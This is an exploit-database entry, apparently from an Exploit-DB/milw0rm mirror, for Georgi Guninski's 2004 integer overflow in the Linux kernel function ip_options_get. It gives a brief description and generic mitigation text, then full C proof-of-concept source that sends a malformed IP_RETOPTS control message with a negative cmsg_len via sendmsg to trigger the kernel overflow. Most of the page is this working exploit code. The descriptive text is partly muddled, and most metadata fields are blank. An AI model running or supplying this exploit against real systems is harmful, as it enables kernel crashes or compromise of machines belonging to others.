int overflow in ip_options_get

vendor:

by:

Georgi Guninski

7.5

CVSS

HIGH

integer overflow

190

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2004

int overflow in ip_options_get

This exploit is an integer overflow vulnerability in the ip_options_get function. It allows an attacker to craft a malicious message that triggers the overflow and potentially leads to arbitrary code execution. The vulnerability affects the ip_options_get function in the C programming language. This exploit was discovered and disclosed by Georgi Guninski.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the relevant security patches or updates provided by the vendor. Additionally, input validation and bounds checking should be implemented in the affected code to prevent integer overflow.

Source

Exploit-DB raw data:

/* int overflow in ip_options_get
 * Copyright Georgi Guninski
 * Cannot be used in vulnerability databases (like securityfocus and mitre)
 * */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad; 
char msg[128];
struct cmsghdr *cmsg,*cm2; 
char opts[12];

s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080); 

connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); 

memset(msg,'v',sizeof(msg));
memset(opts,0,sizeof(opts));
#define VV 1024*1024
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len =  -1;

msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);

msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + 420; 
msghdr.msg_iov = iovector;

msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
system("sync");
if ((i = sendmsg(s, &msghdr, 0)) < 0)
 perror("sendmsg");
return 42;
}

// milw0rm.com [2004-12-16]